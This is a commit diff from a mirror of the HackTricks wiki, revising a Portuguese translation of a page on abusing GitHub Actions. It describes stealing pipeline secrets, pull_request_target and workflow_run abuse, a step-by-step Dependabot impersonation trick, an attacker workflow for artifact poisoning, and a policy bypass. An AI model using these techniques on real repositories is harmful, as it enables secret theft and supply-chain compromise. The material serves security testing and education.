mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 19:32:24 -08:00
Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor
This commit is contained in:
@@ -1,58 +1,58 @@
|
||||
# Abusando de Github Actions
|
||||
# Abusing Github Actions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ferramentas
|
||||
## Tools
|
||||
|
||||
As seguintes ferramentas são úteis para encontrar Github Action workflows e até localizar ones vulneráveis:
|
||||
As seguintes ferramentas são úteis para encontrar workflows do Github Action e até identificar os vulneráveis:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Confira também seu checklist em [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ver também o checklist em [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
Nesta página você encontrará:
|
||||
|
||||
- Um **resumo de todos os impactos** caso um atacante consiga acesso a um Github Action
|
||||
- Um **resumo de todos os impactos** de um atacante que consiga acessar um Github Action
|
||||
- Diferentes maneiras de **obter acesso a uma action**:
|
||||
- Ter **permissões** para criar a action
|
||||
- Abusar gatilhos relacionados a **pull request**
|
||||
- Abusar outras técnicas de **external access**
|
||||
- **Pivoting** a partir de um repo já comprometido
|
||||
- Finalmente, uma seção sobre **post-exploitation** para abusar de uma action por dentro (causar os impactos mencionados)
|
||||
- Abusar **outras técnicas de acesso externo**
|
||||
- **Pivoting** a partir de um repositório já comprometido
|
||||
- Finalmente, uma seção sobre **post-exploitation techniques to abuse an action from inside** (causar os impactos mencionados)
|
||||
|
||||
## Resumo dos Impactos
|
||||
## Impacts Summary
|
||||
|
||||
Para uma introdução sobre [**Github Actions verifique as informações básicas**](../basic-github-information.md#github-actions).
|
||||
Para uma introdução sobre [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
|
||||
Se você pode **executar código arbitrário em GitHub Actions** dentro de um **repositório**, você pode ser capaz de:
|
||||
Se você puder **executar código arbitrário em GitHub Actions** dentro de um **repositório**, você pode ser capaz de:
|
||||
|
||||
- **Roubar secrets** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
|
||||
- **Roubar segredos** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
|
||||
- **Comprometer deployments** e outros **artifacts**.
|
||||
- Se o pipeline deploya ou armazena assets, você pode alterar o produto final, permitindo um supply chain attack.
|
||||
- **Executar código em custom workers** para abusar da capacidade de computação e pivotar para outros sistemas.
|
||||
- Se o pipeline faz deploy ou armazena assets, você poderia alterar o produto final, permitindo um supply chain attack.
|
||||
- **Executar código em custom workers** para abusar de poder computacional e pivotar para outros sistemas.
|
||||
- **Sobrescrever o código do repositório**, dependendo das permissões associadas ao `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
Este **"segredo"** (proveniente de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é fornecido quando o admin habilita esta opção:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Este token é o mesmo que uma **Github Application will use**, então ele pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
Você pode ver as possíveis **permissões** deste token em: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Note que o token **expira após a conclusão do job**.\
|
||||
Esses tokens se parecem com isto: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Some interesting things you can do with this token:
|
||||
Algumas coisas interessantes que você pode fazer com este token:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
@@ -91,7 +91,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Observe que, em várias ocasiões, você poderá encontrar **github user tokens inside Github Actions envs or in the secrets**. Esses tokens podem lhe conceder mais privilégios sobre o repositório e a organização.
|
||||
> Note que em várias ocasiões você poderá encontrar **github user tokens inside Github Actions envs or in the secrets**. Esses tokens podem dar a você mais privilégios sobre o repositório e a organização.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -151,22 +151,22 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
## Execução Permitida
|
||||
|
||||
> [!NOTE]
|
||||
> Esta seria a maneira mais fácil de comprometer Github actions, já que este caso supõe que você tem acesso para **create a new repo in the organization**, ou possui **write privileges over a repository**.
|
||||
> Esta seria a maneira mais fácil de comprometer Github actions, já que este caso supõe que você tenha acesso para **create a new repo in the organization**, ou que tenha **write privileges over a repository**.
|
||||
>
|
||||
> Se você estiver neste cenário, pode consultar [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
> Se você estiver neste cenário, pode simplesmente consultar as [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Execução a partir da criação do repo
|
||||
|
||||
No caso de membros de uma organização poderem **create new repos** e você puder executar github actions, você pode **create a new repo and steal the secrets set at organization level**.
|
||||
Caso membros de uma organização possam **create new repos** e você possa executar Github actions, você pode **create a new repo and steal the secrets set at organization level**.
|
||||
|
||||
### Execução a partir de uma nova branch
|
||||
### Execução a partir de um novo branch
|
||||
|
||||
Se você puder **create a new branch in a repository that already contains a Github Action** configurada, você pode **modify** a action, **upload** o conteúdo e então **execute that action from the new branch**. Dessa forma você pode **exfiltrate repository and organization level secrets** (mas é preciso saber como eles são chamados).
|
||||
Se você conseguir **create a new branch in a repository that already contains a Github Action** configurada, você pode **modify** ela, **upload** o conteúdo e então **execute that action from the new branch**. Deste modo você pode **exfiltrate repository and organization level secrets** (mas você precisa saber como eles são chamados).
|
||||
|
||||
> [!WARNING]
|
||||
> Qualquer restrição implementada apenas dentro do workflow YAML (por exemplo, `on: push: branches: [main]`, job conditionals, ou manual gates) pode ser editada por colaboradores. Sem aplicação externa (branch protections, protected environments, e protected tags), um contribuidor pode redirecionar um workflow para rodar na sua branch e abusar dos mounted secrets/permissions.
|
||||
> Qualquer restrição implementada apenas dentro do workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) pode ser editada por colaboradores. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
|
||||
|
||||
Você pode tornar a action modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é pushed** (dependendo de quão ruidoso você quer ser):
|
||||
Você pode tornar a action modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é enviado** (dependendo de quão barulhento você quer ser):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -180,49 +180,49 @@ branches:
|
||||
```
|
||||
---
|
||||
|
||||
## Execução a partir de fork
|
||||
## Execução via Fork
|
||||
|
||||
> [!NOTE]
|
||||
> Existem diferentes triggers que podem permitir que um atacante **execute um Github Action de outro repositório**. Se essas ações acionáveis estiverem mal configuradas, um atacante pode ser capaz de comprometer elas.
|
||||
> Existem diferentes gatilhos que podem permitir que um atacante **execute uma Github Action de outro repositório**. Se essas ações acionáveis estiverem mal configuradas, um atacante pode conseguir comprometê-las.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
O workflow trigger **`pull_request`** vai executar o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
|
||||
O gatilho do workflow **`pull_request`** executará o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **contribuindo**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Como a **limitação padrão** é para contribuintes **na primeira vez**, você poderia contribuir **corrigindo um bug/typo válido** e então enviar **outros PRs para abusar de seus novos `pull_request` privilégios**.
|
||||
> Como a **limitação padrão** é para contribuintes de **primeira vez**, você poderia contribuir **corrigindo um bug/typo válido** e depois enviar **outros PRs para abusar dos seus novos `pull_request` privilégios**.
|
||||
>
|
||||
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletar a conta dele.~~
|
||||
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e apagar a conta dessa pessoa.~~
|
||||
|
||||
Além disso, por padrão **impede permissões de escrita** e **acesso a secrets** ao repositório alvo como mencionado na [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Além disso, por padrão **impede permissões de escrita** e **acesso a secrets** ao repositório alvo, como mencionado nos [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
> Com exceção de `GITHUB_TOKEN`, **os secrets não são passados para o runner** quando um workflow é acionado a partir de um repositório **fork**. O **`GITHUB_TOKEN` tem permissões somente de leitura** em pull requests **de repositórios fork**.
|
||||
|
||||
Um atacante poderia modificar a definição do Github Action para executar coisas arbitrárias e anexar ações arbitrárias. Entretanto, ele não conseguirá roubar secrets ou sobrescrever o repositório por causa das limitações mencionadas.
|
||||
Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. Contudo, ele não conseguirá roubar secrets nem sobrescrever o repositório por causa das limitações mencionadas.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Sim, se o atacante alterar no PR o Github Action que será disparado, o Github Action dele será o que será usado e não o do repositório de origem!**
|
||||
> **Sim, se o atacante alterar no PR a github action que será acionada, a sua Github Action será a utilizada e não a do repositório de origem!**
|
||||
|
||||
Como o atacante também controla o código que está sendo executado, mesmo que não existam secrets ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia por exemplo **fazer upload de artefatos maliciosos**.
|
||||
Como o atacante também controla o código sendo executado, mesmo que não existam secrets ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia, por exemplo, **fazer upload de artefatos maliciosos**.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
O workflow trigger **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a secrets** (e não pede permissão).
|
||||
O gatilho de workflow **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a secrets** (e não pede permissão).
|
||||
|
||||
Observe que o workflow trigger **`pull_request_target`** **é executado no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target` [**consulte a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Além disso, para mais informações sobre esse uso específico e perigoso, confira este [**post do blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Note que o gatilho de workflow **`pull_request_target`** **é executado no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais info sobre `pull_request_target` [**confira os docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Além disso, para mais informações sobre esse uso específico perigoso, veja este [**post no blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Pode parecer que, porque o **workflow executado** é o definido no **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
|
||||
Pode parecer que, como o **workflow executado** é o definido na **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
|
||||
|
||||
E este terá **acesso a secrets**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
O [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite executar um workflow a partir de outro quando ele está `completed`, `requested` ou `in_progress`.
|
||||
O [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite executar um workflow a partir de outro quando este estiver `completed`, `requested` ou `in_progress`.
|
||||
|
||||
Neste exemplo, um workflow está configurado para executar após a conclusão do workflow separado "Run Tests":
|
||||
Neste exemplo, um workflow está configurado para rodar depois que o workflow separado "Run Tests" é concluído:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -230,29 +230,29 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Além disso, de acordo com a documentação: O workflow iniciado pelo evento `workflow_run` é capaz de **acessar secrets e write tokens, mesmo que o workflow anterior não fosse**.
|
||||
Além disso, segundo a documentação: O workflow iniciado pelo evento `workflow_run` consegue **acessar secrets e write tokens, mesmo que o workflow anterior não**.
|
||||
|
||||
Esse tipo de workflow pode ser atacado se ele estiver **dependendo** de um **workflow** que pode ser **triggered** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no workflow acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\
|
||||
O segundo consiste em **passar** um **artifact** do código **untrusted** para o workflow **`workflow_run`** e usar o conteúdo desse artifact de uma forma que o torna **vulnerável a RCE**.
|
||||
Esse tipo de workflow pode ser atacado se ele estiver **dependendo** de um **workflow** que possa ser **disparado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no workflow acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\
|
||||
O segundo consiste em **passar** um **artifact** do código **untrusted** para o workflow **`workflow_run`** e usar o conteúdo desse artifact de forma que o torne **vulnerável a RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: Verificar se, quando executado a partir de um pull_request, o código usado/baixado é o do origin ou do forked PR
|
||||
|
||||
## Abusando da Execução a partir de Forks
|
||||
|
||||
Mencionamos todas as maneiras pelas quais um atacante externo poderia conseguir fazer um workflow do GitHub executar; agora vamos ver como essas execuções, se mal configuradas, podem ser abusadas:
|
||||
Mencionamos todas as formas pelas quais um atacante externo poderia conseguir fazer um workflow do github ser executado; agora vamos ver como essas execuções, se mal configuradas, podem ser abusadas:
|
||||
|
||||
### Execução de checkout não confiável
|
||||
|
||||
No caso de **`pull_request`**, o workflow vai ser executado no **contexto do PR** (portanto ele irá executar o **código malicioso do PR**), mas alguém precisa **autorizar primeiro** e ele vai rodar com algumas [limitações](#pull_request).
|
||||
No caso de **`pull_request`**, o workflow será executado no **contexto do PR** (portanto executará o **código malicioso do PR**), mas alguém precisa **autorizá-lo primeiro** e ele será executado com algumas [limitações](#pull_request).
|
||||
|
||||
No caso de um workflow usando **`pull_request_target` or `workflow_run`** que dependa de um workflow que pode ser triggerado por **`pull_request_target` or `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
|
||||
No caso de um workflow usando **`pull_request_target` or `workflow_run`** que dependa de um workflow que pode ser disparado a partir de **`pull_request_target` or `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
|
||||
|
||||
> [!CAUTION]
|
||||
> No entanto, se a **action** tiver um **PR checkout explícito** que vai **obter o código do PR** (e não do base), ele irá usar o código controlado pelo atacante. Por exemplo (veja a linha 12 onde o código do PR é baixado):
|
||||
> No entanto, se a **action** tiver um **checkout de PR explícito** que irá **obter o código do PR** (e não do base), ela usará o código controlado pelo atacante. Por exemplo (veja a linha 12 onde o código do PR é baixado):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
@@ -282,10 +282,10 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
O código potencialmente **untrusted está sendo executado durante `npm install` ou `npm build`** já que os scripts de build e os **packages referenciados são controlados pelo autor do PR**.
|
||||
O código potencialmente **não confiável está sendo executado durante `npm install` ou `npm build`** já que os scripts de build e os **packages** referenciados são controlados pelo autor do PR.
|
||||
|
||||
> [!WARNING]
|
||||
> Um github dork para procurar por actions vulneráveis é: `event.pull_request pull_request_target extension:yml` no entanto, existem diferentes formas de configurar os jobs para serem executados de forma segura mesmo se a action estiver configurada de forma insegura (como usar condicionais sobre quem é o actor que gera o PR).
|
||||
> Um github dork para procurar actions vulneráveis é: `event.pull_request pull_request_target extension:yml` no entanto, existem diferentes maneiras de configurar os jobs para serem executados de forma segura mesmo que a action esteja configurada de forma insegura (como usar condicionais sobre quem é o actor que gerou o PR).
|
||||
|
||||
### Injeções de Script de Contexto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
@@ -295,19 +295,19 @@ Note que existem certos [**github contexts**](https://docs.github.com/en/actions
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV** Injeção de Script <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **Injeção de Script via GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
Segundo a documentação: Você pode tornar uma **variável de ambiente disponível para quaisquer passos subsequentes** em um job de workflow definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**.
|
||||
|
||||
Se um atacante puder **injetar qualquer valor** dentro dessa variável de **env**, ele poderia injetar variáveis de ambiente que poderiam executar código em passos seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
|
||||
Se um atacante puder **injetar qualquer valor** dentro dessa variável de **env**, ele poderia injetar variáveis de ambiente que executem código em passos seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
|
||||
|
||||
Por exemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um workflow que confia em um artifact enviado para armazenar seu conteúdo dentro da variável de env **`GITHUB_ENV`**. Um atacante poderia enviar algo como isto para comprometer:
|
||||
Por exemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um workflow que confia em um artifact enviado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia enviar algo como isto para comprometer:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dependabot and other trusted bots
|
||||
### Dependabot e outros bots confiáveis
|
||||
|
||||
Como indicado em [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Github Action que mescla qualquer PR de `dependabot[bot]` como em:
|
||||
Como indicado em [**este post no blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Github Action que mescla qualquer PR do `dependabot[bot]` como em:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
O que é um problema porque o campo `github.actor` contém o usuário que causou o evento mais recente que acionou o workflow. E há várias maneiras de fazer com que o usuário `dependabot[bot]` modifique um PR. Por exemplo:
|
||||
O que é um problema porque o campo `github.actor` contém o usuário que causou o último evento que disparou o workflow. E existem várias maneiras de fazer com que o usuário `dependabot[bot]` modifique um PR. Por exemplo:
|
||||
|
||||
- Fazer fork do repositório da vítima
|
||||
- Adicionar o payload malicioso à sua cópia
|
||||
- Habilitar Dependabot no seu fork adicionando uma dependência desatualizada. Dependabot criará um branch corrigindo a dependência com código malicioso.
|
||||
- Abrir um Pull Request para o repositório da vítima a partir desse branch (o PR será criado pelo usuário, então nada acontecerá ainda)
|
||||
- Então, o atacante volta ao PR inicial que o Dependabot abriu no seu fork e executa `@dependabot recreate`
|
||||
- Então, o Dependabot realiza algumas ações nesse branch, que modificam o PR no repositório da vítima, o que faz com que `dependabot[bot]` seja o ator do evento mais recente que acionou o workflow (e, portanto, o workflow é executado).
|
||||
- Fork the victim repository
|
||||
- Add the malicious payload to your copy
|
||||
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
|
||||
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
|
||||
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
|
||||
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
|
||||
|
||||
Indo em frente, e se em vez de mesclar a Github Action tivesse uma command injection como em:
|
||||
Seguindo, e se em vez de merging o Github Action tivesse uma command injection like in:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -336,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
Bem, o blogpost original propõe duas opções para abusar desse comportamento, sendo a segunda:
|
||||
Bem, o post original propõe duas opções para abusar desse comportamento, sendo a segunda:
|
||||
|
||||
- Fork o repositório da vítima e habilite o Dependabot com alguma dependência desatualizada.
|
||||
- Crie uma nova branch com o código de shell injection malicioso.
|
||||
- Altere o branch padrão do repo para essa.
|
||||
- Crie um PR dessa branch para o repositório da vítima.
|
||||
- Faça fork do repositório da vítima e ative o Dependabot com alguma dependência desatualizada.
|
||||
- Crie uma nova branch com o código malicioso de shell injection.
|
||||
- Altere a branch padrão do repositório para essa.
|
||||
- Crie um PR a partir dessa branch para o repositório da vítima.
|
||||
- Execute `@dependabot merge` no PR que o Dependabot abriu no fork dele.
|
||||
- O Dependabot irá mesclar suas mudanças no branch padrão do seu fork, atualizando o PR no repositório da vítima, fazendo agora com que o `dependabot[bot]` seja o ator do último evento que acionou o workflow e usando um nome de branch malicioso.
|
||||
- O Dependabot vai mergear as mudanças na branch padrão do seu repositório forkado, atualizando o PR no repositório da vítima, tornando agora o `dependabot[bot]` o ator do último evento que disparou o workflow e usando um nome de branch malicioso.
|
||||
|
||||
### Vulnerable Third Party Github Actions
|
||||
### Github Actions de terceiros vulneráveis
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As mencionado em [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Github Action permite acessar artifacts de diferentes workflows e até repositories.
|
||||
Como mencionado em [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), este Github Action permite acessar artifacts de diferentes workflows e até repositórios.
|
||||
|
||||
O problema é que, se o parâmetro **`path`** não for definido, o artifact é extraído no diretório atual e pode sobrescrever arquivos que depois podem ser usados ou até executados no workflow. Portanto, se o Artifact for vulnerável, um atacante pode abusar disso para comprometer outros workflows que confiam no Artifact.
|
||||
O problema é que se o parâmetro **`path`** não for definido, o artifact é extraído no diretório atual e pode sobrescrever arquivos que podem ser usados posteriormente ou até executados no workflow. Portanto, se o Artifact for vulnerável, um atacante poderia abusar disso para comprometer outros workflows que confiam no Artifact.
|
||||
|
||||
Exemplo de workflow vulnerável:
|
||||
Example of vulnerable workflow:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -376,7 +376,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
Isto pode ser atacado com este workflow:
|
||||
Isto poderia ser atacado com este workflow:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -397,23 +397,23 @@ path: ./script.py
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
|
||||
Se uma conta alterar seu nome, outro usuário pode registrar uma conta com esse nome depois de algum tempo. Se um repository teve **less than 100 stars previously to the change of name**, Github permitirá que o novo usuário registrado com o mesmo nome crie um **repository with the same name** que o excluído.
|
||||
Se uma conta mudar seu nome, outro usuário pode registrar uma conta com esse nome após algum tempo. Se um repository teve **menos de 100 stars antes da mudança de nome**, o Github permitirá que o novo usuário registrado com o mesmo nome crie um **repository com o mesmo nome** do que foi deletado.
|
||||
|
||||
> [!CAUTION]
|
||||
> Portanto, se uma action estiver usando um repo de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a action.
|
||||
> Então, se uma action está usando um repo de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a action.
|
||||
|
||||
Se outros repositories estavam usando **dependencies from this user repos**, um atacante poderá sequestrá-los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Se outros repos estavam usando **dependencies** dos repos deste usuário, um atacante poderá hijacká‑los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> Nesta seção vamos falar sobre técnicas que permitirão **pivot from one repo to another**, supondo que tenhamos algum tipo de acesso no primeiro (veja a seção anterior).
|
||||
> Nesta seção vamos falar sobre técnicas que permitem **pivot from one repo to another**, supondo que temos algum tipo de acesso no primeiro (veja a seção anterior).
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
Um cache é mantido entre **workflow runs in the same branch**. Isso significa que, se um atacante conseguir **compromise** um **package** que então é armazenado no cache e **downloaded** e executado por um **more privileged** workflow, ele também será capaz de **compromise** esse workflow.
|
||||
Uma cache é mantida entre **workflow runs in the same branch**. Isso significa que se um atacante comprometer um **package** que é então armazenado na cache e **downloaded** e executado por um **workflow mais privilegiado**, ele também poderá comprometer esse workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### Artifact Poisoning
|
||||
|
||||
Workflows podem usar **artifacts from other workflows and even repos**; se um atacante conseguir **compromise** o Github Action que **uploads an artifact** que é posteriormente usado por outro workflow, ele poderia **compromise the other workflows**:
|
||||
Workflows podem usar **artifacts from other workflows and even repos**; se um atacante conseguir comprometer a Github Action que **uploads an artifact** que depois é usada por outro workflow, ele poderia comprometer os outros workflows:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
### Github Action Policies Bypass
|
||||
|
||||
Como comentado em [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), mesmo que um repository ou organização tenha uma policy restringindo o uso de certas actions, um atacante poderia simplesmente fazer download (`git clone`) da action dentro do workflow e então referenciá-la como uma local action. Como as policies não afetam local paths, **a action será executada sem qualquer restrição.**
|
||||
Como comentado em [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), mesmo se um repository ou organization tiver uma policy que restrinja o uso de certas actions, um atacante poderia apenas fazer download (`git clone`) da action dentro do workflow e então referenciá‑la como uma local action. Como as policies não afetam local paths, **a action será executada sem nenhuma restrição.**
|
||||
|
||||
Exemplo:
|
||||
Example:
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
|
||||
@@ -458,7 +458,7 @@ path: gha-hazmat
|
